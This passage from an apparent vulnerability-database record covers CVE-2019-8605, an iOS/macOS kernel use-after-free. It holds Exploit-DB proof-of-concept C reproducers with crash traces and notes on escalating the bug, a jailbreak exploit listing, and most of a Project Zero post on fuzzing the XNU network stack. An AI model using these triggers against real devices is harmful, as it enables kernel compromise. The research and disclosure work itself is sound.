0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa\n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63\n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d\n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114\n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75\n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284\n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f\n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b\n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16\n\nBSD process name corresponding to current thread: in6_selectsrc\nBoot args: keepsyms=1 -v=1\n\nMac OS version:\n18D109\n*/\n\n#define IPPROTO_IP 0\n\n#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }\n#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }\n\nint main() {\n int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n printf(\"res0: %d\\n\", s);\n struct sockaddr_in6 sa1 = {\n .sin6_len = sizeof(struct sockaddr_in6),\n .sin6_family = AF_INET6,\n .sin6_port = 65000,\n .sin6_flowinfo = 3,\n .sin6_addr = IN6_ADDR_LOOPBACK,\n .sin6_scope_id = 0,\n };\n struct sockaddr_in6 sa2 = {\n .sin6_len = sizeof(struct sockaddr_in6),\n .sin6_family = AF_INET6,\n .sin6_port = 65001,\n .sin6_flowinfo = 3,\n .sin6_addr = IN6_ADDR_ANY,\n .sin6_scope_id = 0,\n };\n\n int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1));\n printf(\"res1: %d\\n\", res);\n\n unsigned char buffer[4] = {};\n res = setsockopt(s, 41, 50, buffer, sizeof(buffer));\n printf(\"res1.5: %d\\n\", res);\n\n res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));\n printf(\"res2: %d\\n\", res);\n\n close(s);\n printf(\"done\\n\");\n}\n\n\nClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well.\n\n==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248\nREAD of size 8 at 0x610000000c50 thread T0\nSCARINESS: 51 (8-byte-read-heap-use-after-free)\n #0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25\n #1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13\n #2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12\n #3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12\n #4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10\n\n0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00)\nfreed by thread T0 here:\n #0 0x497a3d in free _asan_rtl_:3\n #1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3\n #2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3\n #3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7\n #4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10\n #5 0x7f15a34324c5 in sodisconnectx /src/bsd/kern/uipc_socket.c:1839:10\n #6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10\n\npreviously allocated by thread T0 here:\n #0 0x497cbd in __interceptor_malloc _asan_rtl_:3\n #1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10\n #2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9\n #3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13\n #4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12\n #5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12\n #6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10\n\n\n#include <stdio.h>\n#include <unistd.h>\n#include <netinet/in.h>\n\n/*\nTCP-based reproducer for CVE-2019-8605\nThis has the benefit of being reachable from the app sandbox on iOS 12.2.\n*/\n\n#define IPV6_3542PKTINFO 46\n\nint main() {\n int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n printf(\"res0: %d\\n\", s);\n\n unsigned char buffer[1] = {'\\xaa'};\n int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer));\n printf(\"res1: %d\\n\", res);\n\n res = disconnectx(s, 0, 0);\n printf(\"res2: %d\\n\", res);\n\n socklen_t buffer_len = sizeof(buffer);\n res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len);\n printf(\"res3: %d\\n\", res);\n printf(\"got %d\\n\", buffer[0]);\n\n close(s);\n printf(\"done\\n\");\n}\n\n\nIt seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected.\n\nBut there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.", "sourceHref": "https://gitlab.com/exploit-database/exploitdb/-/raw/main/exploits/multiple/dos/46892.txt", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T15:17:11", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-09-23T00:00:00", "type": "exploitdb", "title": "iOS < 12.4.1 - 'Jailbreak' Local Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2019-8605", "CVE-2019-8605"], "modified": "2019-09-23T00:00:00", "id": "EDB-ID:47409", "href": "https://www.exploit-db.com/exploits/47409", "sourceData": "Exploit Title: SockPuppet 3\nDate: September 8, 2019\nExploit Author: Umang Raghuvanshi\nVendor Homepage: https://apple.com\nSoftware Link: https://ipsw.me/\nVersion: iOS 11.0\u201412.2, iOS 12.4\nTested on: iOS 11.0\u201412.2, iOS 12.4\nCVE: CVE-2019-8605\n\nThis is an alternative (and complete) exploit for CVE-2019-8605. I have only implemented the exploit and do not claim any rights for discovering and/or publishing the vulnerability. The actual exploit code is in \u201cSockPuppet3.cpp\u201d, other files are either helpers or documentation. This exploit [1] has already been verified in production several times [2] [3], however, I can assist in additional verification if required.\n\nPOC:\n\nhttps://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47409.zip\n\n[1] https://gist.github.com/ur0/a9b2d8088479a70665f729c4e9bf8720\n[2] https://twitter.com/Pwn20wnd/status/1163392040073191426\n[3] https://twitter.com/electra_team/status/1163658714840047618", "sourceHref": "https://gitlab.com/exploit-database/exploitdb/-/raw/main/exploits/ios/local/47409.txt", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2022-03-24T04:11:23", "description": "# used_sock\n\nKernel exploit for iO...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-01-20T00:33:37", "type": "githubexploit", "title": "Exploit for Type Confusion in Apple Iphone Os", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8591", "CVE-2019-8605"], "modified": "2020-05-17T11:23:15", "id": "44DF7B65-442B-571C-BC5C-3C4356DFE2BF", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "googleprojectzero": [{"lastseen": "2023-06-07T02:00:40", "description": "Posted by Ned Williamson, Project Zero\n\nIntroduction\n\nWhen I started my 20% project \u2013 an initiative where employees are allocated twenty-percent of their paid work time to pursue personal projects \u2013 with Project Zero, I wanted to see if I could apply the techniques I had learned fuzzing Chrome to XNU, the kernel used in iOS and macOS. My interest was sparked after learning some prominent members of the iOS research community believed the kernel was \u201cfuzzed to death,\u201d and my understanding was that most of the top researchers used auditing for vulnerability research. This meant finding new bugs with fuzzing would be meaningful in demonstrating the value of implementing newer fuzzing techniques. In this project, I pursued a somewhat unusual approach to fuzz XNU networking in userland by converting it into a library, \u201cbooting\u201d it in userspace and using my standard fuzzing workflow to discover vulnerabilities. Somewhat surprisingly, this worked well enough to reproduce some of my peers\u2019 recent discoveries and report some of my own, one of which was a reliable privilege escalation from the app context, CVE-2019-8605, dubbed \u201cSockPuppet.\u201d I\u2019m excited to open source this fuzzing project, \u201csockfuzzer,\u201d for the community to learn from and adapt. In this post, we\u2019ll do a deep dive into its design and implementation.\n\nAttack Surface Review and Target Planning\n\n# Choosing Networking\n\nWe\u2019re at the beginning of a multistage project. I had enormous respect for the difficulty of the task ahead of me. I knew I would need to be careful investing time at each stage of the process, constantly looking for evidence that I needed to change direction. The first big decision was to decide what exactly we wanted to target.\n\nI started by downloading the [XNU sources](<https://opensource.apple.com/tarballs/xnu/>) and reviewing them, looking for areas that handled a lot of attacker-controlled input and seemed amenable to fuzzing \u2013 immediately the networking subsystem jumped out as worthy of research. I had just exploited a Chrome sandbox bug that leveraged collaboration between an exploited renderer process and a server working in concert. I recognized these attack surfaces\u2019 power, where some security-critical code is \u201csandwiched\u201d between two attacker-controlled entities. The Chrome browser process is prone to use after free vulnerabilities due to the difficulty of managing state for large APIs, and I suspected XNU would have the same issue. Networking features both parsing and state management. I figured that even if others had already fuzzed the parsers extensively, there could still be use after free vulnerabilities lying dormant.\n\nI then proceeded to look at recent bug reports. Two bugs that caught my eye: the [mptcp overflow](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558>) discovered by Ian Beer and the ICMP [out of bounds write](<https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407>) found by Kevin Backhouse. Both of these are somewhat \u201cstraightforward\u201d buffer overflows. The bugs\u2019 simplicity hinted that kernel networking, even packet parsing, was sufficiently undertested. A fuzzer combining network syscalls and arbitrary remote packets should be large enough in scope to reproduce these issues and find new ones.\n\nDigging deeper, I wanted to understand how to reach these bugs in practice. By cross-referencing the functions and setting kernel breakpoints in a VM, I managed to get a more concrete idea. Here\u2019s the call stack for Ian\u2019s MPTCP bug:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixaqhrlPJxgqVridccvdElpi6yxaoJCSUXDp5q8hm_F66e5WHW3NRaFwmy-OWQvCKz661k3LEfi4A4r2sa1LkgMb8pu8CEVjKbzTkblc8SZZYcOsKkw7u0uG2qo5KzCdjbxixJ-CplQI2nohuVE1_t07PiNW-xRxnW-3e4WtILcCE6CoYjbN1D6UPi/s623/image3%282%29.png>)\n\nThe buggy function in question is mptcp_usr_connectx. Moving up the call stack, we find the connectx syscall, which we see in Ian\u2019s original testcase. If we were to write a fuzzer to find this bug, how would we do it? Ultimately, whatever we do has to both find the bug and give us the information we need to reproduce it on the real kernel. Calling mptcp_usr_connectx directly should surely find the bug, but this seems like the wrong idea because it takes a lot of arguments. Modeling a fuzzer well enough to call this function directly in a way representative of the real code is no easier than auditing the code in the first place, so we\u2019ve not made things any easier by writing a targeted fuzzer. It\u2019s also wasted effort to write a target for each function this small. On the other hand, the further up the call stack we go, the more complexity we may have to support and the less chance we have of landing on the bug. If I were trying to unit test the networking stack, I would probably avoid the syscall layer and call the intermediate helper functions as a middle ground. This is exactly what I tried in the first draft of the fuzzer; I used [sock_socket](<https://developer.apple.com/documentation/kernel/1396122-sock_socket>) to create struct socket* objects to pass to connectitx in the hopes that it would be easy to reproduce this bug while being high-enough level that this bug could plausibly have been discovered without knowing where to look for it. Surprisingly, after some experimentation, it turned out to be easier to simply call the syscalls directly (via connectx). This makes it easier to translate crashing inputs into programs to run against a real kernel since testcases map 1:1 to syscalls. We\u2019ll see more details about this later.\n\nWe can\u2019t test networking properly without accounting for packets. In this case, data comes from the hardware, not via syscalls from a user process. We\u2019ll have to expose this functionality to our fuzzer. To figure out how to extend our framework to support random packet delivery, we can use our next example bug. Let\u2019s take a look at the call stack for delivering a packet to trigger the ICMP bug reported by Kevin Backhouse:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN_4qMCDG0R3Ix94ctakWAgk3QmZ1JVD0IxQVjr9ft44Eu2a3VYxzWkueZJvf8MUd2qsf2Z-Qk2elUh_Zl-Cx5D9k6ueDM-pJNT9LeT3Ruhtc_CAgn0SL1M2XVCL_BYiTya834YqPEYuU5kH0nU68d7eUJrsUuY-hGEZ3EfiX_yCZ7ZvlDnQoQceOe/s450/image2%281%29.png>)\n\nTo reach the buggy function, icmp_error, the call stack is deeper, and unlike with syscalls, it\u2019s not immediately obvious which of these functions we should call to cover the relevant code. Starting from the very top of the call stack, we see that the crash occurred in a kernel thread running the dlil_input_thread_func function. DLIL stands for Data Link Interface Layer, a reference to the OSI model\u2019s [data link layer](<https://en.wikipedia.org/wiki/Data_link_layer>). Moving further down the stack, we see ether_inet_input, indicating an Ethernet packet (since I tested this issue using Ethernet). We finally make it down to the IP layer, where ip_dooptions signals an icmp_error. As an attacker, we probably don\u2019t have a lot of control over the interface a user uses to receive our input, so we can rule out some of the uppermost layers. We also don\u2019t want to deal with threads in our fuzzer, another design tradeoff we\u2019ll describe in more detail later. proto_input and ip_proto_input don\u2019t do much, so I decided that ip_proto was where I would inject packets, simply by calling the function when I wanted to deliver a packet. After reviewing proto_register_input, I discovered another function called ip6_input, which was the entry point for the IPv6 code. Here\u2019s the prototype for ip_input:\n\nvoid ip_input(struct mbuf *m); \n \n--- \n \n \nMbufs are message buffers, a standard buffer format used in network stacks. They enable multiple small packets to be chained together through a linked list. So we just need to generate mbufs with random data before calling ip_input.\n\nI was surprised by how easy it was to work with the network stack compared to the syscall interface. `ip_input` and `ip6_input` pure functions that don\u2019t require us to know any state to call them. But stepping back, it made more sense. Packet delivery is inherently a clean interface: our kernel has no idea what arbitrary packets may be coming in, so the interface takes a raw packet and then further down in the stack decides how to handle it. Many packets contain metadata that affect the kernel state once received. For example, TCP or UDP packets will be matched to an existing connection by their port number.\n\nMost modern coverage guided fuzzers, including this LibFuzzer-based project, use a design inspired by AFL. When a test case with some known coverage is mutated and the mutant produces coverage that hasn\u2019t been seen before, the mutant is added to the current corpus of inputs. It becomes available for further mutations to produce even deeper coverage. Lcamtuf, the author of AFL, has an excellent demonstration of how this algorithm [created JPEGs using coverage feedback](<https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html>) with no well-formed starting samples. In essence, most poorly-formed inputs are rejected early. When a mutated input passes a validation check, the input is saved. Then that input can be mutated until it manages to pass the second validation check, and so on. This hill climbing algorithm has no problem generating dependent sequences of API calls, in this case to interleave syscalls with ip_input and ip6_input. Random syscalls can get the kernel into some state where it\u2019s expecting a packet. Later, when libFuzzer guesses a packet that gets the kernel into some new state, the hill climbing algorithm will record a new test case when it sees new coverage. Dependent sequences of syscalls and packets are brute-forced in a linear fashion, one call at a time.\n\nDesigning for (Development) Speed\n\nNow that we know where to attack this code base, it\u2019s a matter of building out the fuzzing research platform. I like thinking of it this way because it emphasizes that this fuzzer is a powerful assistant to a researcher, but it can\u2019t do all the work. Like any other test framework, it empowers the researcher to make hypotheses and run experiments over code that looks buggy. For the platform to be helpful, it needs to be comfortable and fun to work with and get out of the way.\n\nWhen it comes to standard practice for kernel fuzzing, there\u2019s a pretty simple spectrum for strategies. On one end, you fuzz self-contained functions that are security-critical, e.g., OSUnserializeBinary. These are easy to write and manage and are generally quite performant. On the other end, you have \u201cend to end\u201d kernel testing that performs random syscalls against a real kernel instance. These heavyweight fuzzers have the advantage of producing issues that you know are actionable right away, but setup and iterative development are slower. I wanted to try a hybrid approach that could preserve some of the benefits of each style. To do so, I would port the networking stack of XNU out of the kernel and into userland while preserving as much of the original code as possible. Kernel code can be surprisingly portable and amenable to unit testing, even when run outside its natural environment.\n\nThere has been a push to add more user-mode unit testing to Linux. If you look at the documentation for Linux\u2019s [KUnit project](<https://www.kernel.org/doc/html/latest/dev-tools/kunit/index.html>), there\u2019s an excellent quote from Linus Torvalds: \u201c\u2026 a lot of people seem to think that performance is about doing the same thing, just doing it faster, and that is not true. That is not what performance is all about. If you can do something really fast, really well, people will start using it differently.\u201d This statement echoes the experience I had writing targeted fuzzers for code in Chrome\u2019s browser process. Due to extensive unit testing, Chrome code is already well-factored for fuzzing. In a day\u2019s work, I could try out many iterations of a fuzz target and the edit/build/run cycle. I didn\u2019t have a similar mechanism out of the box with XNU. In order to perform a unit test, I would need to rebuild the kernel. And despite XNU being considerably smaller than Chrome, incremental builds were slower due to the older kmk build system. I wanted to try bridging this gap for XNU.\n\nSetting up the Scaffolding\n\n\u201cUnit\u201d testing a kernel up through the syscall layer sounds like a big task, but it\u2019s easier than you\u2019d expect if you forgo some complexity. We\u2019ll start by building all of the individual kernel object files from source using the original build flags. But instead of linking everything together to produce the final kernel binary, we link in only the subset of objects containing code in our target attack surface. We then stub or fake the rest of the functionality. Thanks to the recon in the previous section, we already know which functions we want to call from our fuzzer. I used that information to prepare a minimal list of source objects to include in our userland port.\n\nBefore we dive in, let\u2019s define the overall structure of the project as pictured below. There\u2019s going to be a fuzz target implemented in C++ that translates fuzzed inputs into interactions with the userland XNU library. The target code, libxnu, exposes a few wrapper symbols for syscalls and ip_input as mentioned in the attack surface review section. The fuzz target also exposes its random sequence of bytes to kernel APIs such as copyin or copyout, whose implementations have been replaced with fakes that use fuzzed input data.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7HxZOpEaZ0zOKXMwVP0f3hRjwuUrChoR3_v_y91gddRnq4T-t7FCJt5mmG3EGwaK3-HT_hibQyi-0CgwigF9hGZBfNaJhssUQG0KBYoyVGpXRHWgtVAUhC1EOgHgyb_vfiqdYGWxZE7N9y0ysw-0ikT-Kj_ljONiFGGMUPagiidn4dzLgSP8EvX-/s1051/image1%283%29.png>)\n\nTo make development more manageable, I decided to create a new build system using CMake, as it supported Ninja for fast rebuilds. One drawback here is the original build system has to be run every time upstream is updated to deal with generated sources, but this is worth it to get a faster development loop. I captured all of the compiler invocations during a normal kernel build and used those to reconstruct the flags passed to build the various kernel subsystems. Here\u2019s what that first pass looks like:\n\nproject(libxnu)\n\nset(XNU_DEFINES\n\n-DAPPLE\n\n-DKERNEL\n\n# ...\n\n)\n\nset(XNU_SOURCES\n\nbsd/conf/param.c\n\nbsd/kern/kern_asl.c\n\nbsd/net/if.c\n\nbsd/netinet/ip_input.c\n\n# ...\n\n)\n\nadd_library(xnu SHARED ${XNU_SOURCES} ${FUZZER_FILES} ${XNU_HEADERS})\n\nprotobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)\n\nadd_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})\n\ntarget_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)\n\ntarget_compile_options(net_fuzzer PRIVATE ${FUZZER_CXX_FLAGS}) \n \n--- \n \n \nOf course, without the rest of the kernel, we see tons of missing symbols.\n\n\"_zdestroy\", referenced from:\n\n_if_clone_detach in libxnu.a(if.c.o)\n\n\"_zfree\", referenced from:\n\n_kqueue_destroy in libxnu.a(kern_event.c.o)\n\n_knote_free in libxnu.a(kern_event.c.o)\n\n_kqworkloop_get_or_create in libxnu.a(kern_event.c.o)\n\n_kev_delete in libxnu.a(kern_event.c.o)\n\n_pipepair_alloc in libxnu.a(sys_pipe.c.o)\n\n_pipepair_destroy_pipe in libxnu.a(sys_pipe.c.o)\n\n_so_cache_timer in libxnu.a(uipc_socket.c.o)\n\n...\n\n\"_zinit\", referenced from:\n\n_knote_init in libxnu.a(kern_event.c.o)\n\n_kern_event_init in libxnu.a(kern_event.c.o)\n\n_pipeinit in libxnu.a(sys_pipe.c.o)\n\n_socketinit in libxnu.a(uipc_socket.c.o)\n\n_unp_init in libxnu.a(uipc_usrreq.c.o)\n\n_cfil_init in libxnu.a(content_filter.c.o)\n\n_tcp_init in libxnu.a(tcp_subr.c.o)\n\n...\n\n\"_zone_change\", referenced from:\n\n_knote_init in libxnu.a(kern_event.c.o)\n\n_kern_event_init in libxnu.a(kern_event.c.o)\n\n_socketinit in libxnu.a(uipc_socket.c.o)\n\n_cfil_init in libxnu.a(content_filter.c.o)\n\n_tcp_init in libxnu.a(tcp_subr.c.o)\n\n_ifa_init in libxnu.a(if.c.o)\n\n_if_clone_attach in libxnu.a(if.c.o)\n\n...\n\nld: symbol(s) not found for architecture x86_64\n\nclang: error: linker command failed with exit code 1 (use -v to see invocation)\n\nninja: build stopped: subcommand failed. \n \n--- \n \n \nTo get our initial targeted fuzzer working, we can do a simple trick by linking against a file containing stubbed implementations of all of these. We take advantage of C\u2019s weak type system here. For each function we need to implement, we can link an implementation void func() { assert(false); }. The arguments passed to the function are simply ignored, and a crash will occur whenever the target code attempts to call it. This goal can be achieved with linker flags, but it was a simple enough solution that allowed me to get nice backtraces when I hit an unimplemented function.\n\n// Unimplemented stub functions\n\n// These should be replaced with real or mock impls.\n\n#include <kern/assert.h>\n\n#include <stdbool.h>\n\nint printf(const char* format, ...);\n\nvoid Assert(const char* file, int line, const char* expression) {\n\nprintf(\"%s: assert failed on line %d: %s\\n\", file, line, expression);\n\n__builtin_trap();\n\n}\n\nvoid IOBSDGetPlatformUUID() { assert(false); }\n\nvoid IOMapperInsertPage() { assert(false); }\n\n// ... \n \n--- \n \n \nThen we just link this file into the XNU library we\u2019re building by adding it to the source list:\n\nset(XNU_SOURCES\n\nbsd/conf/param.c\n\nbsd/kern/kern_asl.c\n\n# ...\n\nfuzz/syscall_wrappers.c\n\nfuzz/ioctl.c\n\nfuzz/backend.c\n\nfuzz/stubs.c\n\nfuzz/fake_impls.c \n \n--- \n \n \nAs you can see, there are some other files I included in the XNU library that represent faked implementations and helper code to expose some internal kernel APIs. To make sure our fuzz target will call code in the linked library, and not some other host functions (syscalls) with a clashing name, we hide all of the symbols in libxnu by default and then expose a set of wrappers that call those functions on our behalf. I hide all the names by default using a CMake setting set_target_properties(xnu PROPERTIES C_VISIBILITY_PRESET hidden). Then we can link in a file (fuzz/syscall_wrappers.c) containing wrappers like the following:\n\n__attribute__((visibility(\"default\"))) int accept_wrapper(int s, caddr_t name,\n\nsocklen_t* anamelen,\n\nint* retval) {\n\nstruct accept_args uap = {\n\n.s = s,\n\n.name = name,\n\n.anamelen = anamelen,\n\n};\n\nreturn accept(kernproc, &uap, retval);\n\n} \n \n--- \n \nNote the visibility attribute that explicitly exports the symbol from the library. Due to the simplicity of these wrappers I created a script to automate this called generate_fuzzer.py using syscalls.master. \n\n\nWith the stubs in place, we can start writing a fuzz target now and come back to deal with implementing them later. We will see a crash every time the target code attempts to use one of the functions we initially left out. Then we get to decide to either include the real implementation (and perhaps recursively require even more stubbed function implementations) or to fake the functionality.\n\nA bonus of getting a build working with CMake was to create multiple targets with different instrumentation. Doing so allows me to generate coverage reports using clang-coverage:\n\ntarget_compile_options(xnu-cov PRIVATE ${XNU_C_FLAGS} -DLIBXNU_BUILD=1 -D_FORTIFY_SOURCE=0 -fprofile-instr-generate -fcoverage-mapping) \n \n--- \n \n \nWith that, we just add a fuzz target file and a protobuf file to use with protobuf-mutator and we\u2019re ready to get started:\n\nprotobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)\n\nadd_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})\n\ntarget_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)\n\ntarget_compile_options(net_fuzzer\n\nPRIVATE -g\n\n-std=c++11\n\n-Werror\n\n-Wno-address-of-packed-member\n\n${FUZZER_CXX_FLAGS})\n\nif(APPLE)\n\ntarget_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES})\n\nelse()\n\ntarget_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES} pthread)\n\nendif(APPLE) \n \n--- \n \nWriting a Fuzz Target\n\nAt this point, we\u2019ve assembled a chunk of XNU into a convenient library, but we still need to interact with it by writing a fuzz target. At first, I thought I might write many targets for different features, but I decided to write one monolithic target for this project. I\u2019m sure fine-grained targets could do a better job for functionality that\u2019s harder to fuzz, e.g., the TCP state machine, but we will stick to one for simplicity.\n\nWe\u2019ll start by specifying an input grammar using protobuf, part of which is depicted below. This grammar is completely arbitrary and will be used by a corresponding C++ harness that we will write next. LibFuzzer has a plugin called libprotobuf-mutator that knows how to mutate protobuf messages. This will enable us to do grammar-based mutational fuzzing efficiently, while still leveraging coverage guided feedback. This is a very powerful combination.\n\nmessage Socket {\n\nrequired Domain domain = 1;\n\nrequired SoType so_type = 2;\n\nrequired Protocol protocol = 3;\n\n// TODO: options, e.g. SO_ACCEPTCONN\n\n}\n\nmessage Close {\n\nrequired FileDescriptor fd = 1;\n\n}\n\nmessage SetSocketOpt {\n\noptional Protocol level = 1;\n\noptional SocketOptName name = 2;\n\n// TODO(nedwill): structure for val\n\noptional bytes val = 3;\n\noptional FileDescriptor fd = 4;\n\n}\n\nmessage Command {\n\noneof command {\n\nPacket ip_input = 1;\n\nSetSocketOpt set_sock_opt = 2;\n\nSocket socket = 3;\n\nClose close = 4;\n\n}\n\n}\n\nmessage Session {\n\nrepeated Command commands = 1;\n\nrequired bytes data_provider = 2;\n\n} \n \n--- \n \nI left some TODO comments intact so you can see how the grammar can always be improved. As I\u2019ve done in similar fuzzing projects, I have a top-level message called Session that encapsulates a single fuzzer iteration or test case. This session contains a sequence of \u201ccommands\u201d and a sequence of bytes that can be used when random, unstructured data is needed (e.g., when doing a copyin). Commands are syscalls or random packets, which in turn are their own messages that have associated data. For example, we might have a session that has a single Command message containing a \u201cSocket\u201d message. That Socket message has data associated with each argument to the syscall. In our C++-based target, it\u2019s our job to translate messages of this custom specification into real syscalls and related API calls. We inform libprotobuf-mutator that our fuzz target expects to receive one \u201cSession\u201d message at a time via the macro DEFINE_BINARY_PROTO_FUZZER. \n\n\nDEFINE_BINARY_PROTO_FUZZER(const Session &session) {\n\n// ...\n\nstd::set<int> open_fds;\n\nfor (const Command &command : session.commands()) {\n\nint retval = 0;\n\nswitch (command.command_case()) {\n\ncase Command::kSocket: {\n\nint fd = 0;\n\nint err = socket_wrapper(command.socket().domain(),\n\ncommand.socket().so_type(),\n\ncommand.socket().protocol(), &fd);\n\nif (err == 0) {\n\n// Make sure we're tracking fds properly.\n\nif (open_fds.find(fd) != open_fds.end()) {\n\nprintf(\"Found existing fd %d\\n\", fd);\n\nassert(false);\n\n}\n\nopen_fds.insert(fd);\n\n}\n\nbreak;\n\n}\n\ncase Command::kClose: {\n\nopen_fds.erase(command.close().fd());\n\nclose_wrapper(command.close().fd(), nullptr);\n\nbreak;\n\n}\n\ncase Command::kSetSockOpt: {\n\nint s = command.set_sock_opt().fd();\n\nint level = command.set_sock_opt().level();\n\nint name = 